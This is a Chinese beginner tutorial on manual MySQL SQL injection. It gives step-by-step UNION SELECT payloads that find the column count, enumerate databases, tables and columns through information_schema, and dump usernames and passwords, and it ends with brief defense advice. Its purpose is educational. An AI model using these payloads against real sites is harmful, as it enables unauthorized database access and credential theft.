新手科普 | MySQL手工注入之基本注入流程
字数 1145 2025-08-18 11:37:02
MySQL手工注入基本流程详解
一、SQL注入基础概念
SQL注入是一种通过在用户输入中插入恶意SQL代码来攻击数据库的技术。当应用程序不正确地过滤用户输入时,攻击者可以操纵后端SQL查询,从而获取、修改或删除数据库中的数据。
二、注入前的准备工作
- 识别注入点:寻找可能存在SQL注入漏洞的输入点,如URL参数、表单字段等
- 判断数据库类型:通过错误信息或特定函数识别是否为MySQL数据库
三、基本注入流程
1. 注释或闭合SQL语句
示例SQL语句:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
闭合方法:
-
引号闭合:
id=1' and '1'='1SELECT * FROM users WHERE id='1' and '1'='1' LIMIT 0,1 -
注释后面语句(常用方法):
'or 1=1--+ "or 1=1--+ )or 1=1--+ ')or 1=1--+ ") or 1=1--+ "))or 1=1--+注释符
--+可以用#代替(URL编码为%23)
2. AND/OR验证
通过逻辑判断确认是否存在注入漏洞:
-
页面返回正常:
?id=1' and 1=1 --+ ?id=1' or 1=2 --+ -
页面返回异常:
?id=1' and 1=2 --+ ?id=1' or 1=1 --+
3. 查询字段数目
使用ORDER BY子句通过二分法确定字段数量:
?id=1' order by 1 --+ (正常)
?id=1' order by 10 --+ (错误)
?id=1' order by 5 --+ (错误)
?id=1' order by 3 --+ (正常)
?id=1' order by 4 --+ (错误)
最终确定字段数为3
4. 联合查询(UNION SELECT)
构造UNION查询获取数据:
?id=1' UNION SELECT 1,2,3 --+
触发错误显示字段位置:
?id=-1' UNION SELECT 1,2,3 --+
?id=1' and 1=2 UNION SELECT 1,2,3 --+
?id=1' or 1=1 UNION SELECT 1,2,3 --+
5. 信息收集
常用MySQL系统函数:
version()- MySQL版本user()- 数据库用户名database()- 数据库名@@datadir- 数据库路径@@version_compile_os- 操作系统版本
查询示例:
-
当前数据库名:
id=1' and 1=2 UNION SELECT 1,database(),3 --+ -
MySQL版本:
id=1' and 1=2 UNION SELECT 1,2,version() --+ -
数据库用户和路径:
id=1' and 1=2 UNION SELECT 1,user(),@@datadir --+
6. 查询数据库
-
查询当前数据库:
id=1' and 1=2 UNION SELECT 1,2,database() --+ -
查询所有数据库:
id=1' and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+
7. 查询表名
-
使用database()函数:
id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ -
使用单引号括数据库名:
id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ -
使用hex编码(0x7365637572697479):
id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+
8. 查询列名
针对特定表(如users表)查询列名:
id=1' and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
9. 查询字段值
获取表中的具体数据:
id=1' and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users --+
四、information_schema数据库详解
MySQL的information_schema数据库存储了所有数据库的元数据信息:
-
schemata表:
schema_name字段记录所有数据库名称
-
tables表:
table_schema字段记录数据库名table_name字段记录表名
-
columns表:
table_name字段记录表名column_name字段记录列名
五、简明注入流程总结
order by --+判断字段数目union select --+联合查询收集信息- 查询当前数据库:
id=1' and 1=2 UNION SELECT 1,2,database() --+ - 查询所有数据库:
id=1' and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+ - 查询表名:
id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ - 查询列名:
id=1' and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ - 查询字段值:
id=1' and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users --+
六、防御建议
- 使用参数化查询(预处理语句)
- 对用户输入进行严格的过滤和转义
- 最小权限原则,数据库用户只授予必要权限
- 错误信息处理,不向用户显示详细错误信息
- 使用Web应用防火墙(WAF)